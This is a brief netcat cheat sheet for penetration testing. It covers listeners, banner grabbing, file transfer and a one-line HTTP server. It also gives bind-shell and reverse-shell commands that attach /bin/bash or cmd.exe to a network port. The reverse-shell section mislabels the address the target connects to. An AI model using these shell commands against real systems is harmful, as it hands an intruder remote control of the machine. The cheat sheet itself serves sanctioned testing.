My Netcat Cheat Sheet
Netcat is a networking tool for reading and writing data across network connections using TCP or UDP. It has cool features useful for pentesting.
Netcat is a terminal application that is similar to the telnet program but has lot more features. Its a “power version” of the traditional telnet program. Apart from basic telnet functionas it can do various other things like creating socket servers to listen for incoming connections on ports, transfer files from the terminal etc. So it is a small tool that is packed with lots of features. Therefore its called the “Swiss-army knife for TCP/IP”.
Simple usage
Listener:
$ nc -l -v -p port_number
Remote:
$ nc listener_IP -p port_number
UDP
Listener:
$ nc -ul -v -p port_number
Remote:
$ nc listener_IP -u port_number
Banner grabbing
$ nc host_IP 80
HEAD / HTTP/1.0
HEAD / HTTP/1.1
Copy files between machines
Method 1:
Destination:
$ nc -lp 1234 > received_file.txt
Origin:
$ nc -w 1 destination_ip 1234 < file_to_send
Method 2:
Origin:
$ cat file_to_send | nc -lp 1234 (linux)
> type file_to_send | nc -lp 1234 (windows)
Destination:
$ nc origin_ip 1234 > received_file.txt
Remote shell
Target:
$ nc -v -l -p 7777 -e /bin/bash (linux)
> nc -v -l -p 7777 -e cmd.exe (windows)
Remote:
$ nc target_IP 7777
Reverse Shell
Remote:
$ nc -v -l -p 8888
Target:
$ nc target_IP 8888 -e /bin/bash (linux)
> nc target_IP 8888 -e cmd.exe (windows)
HTTP Server
$ while true; do nc -l -p 80 -q 1 < index.html; done
With ‘index.html’ content:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!<!doctype html>
<html>
…
</html>
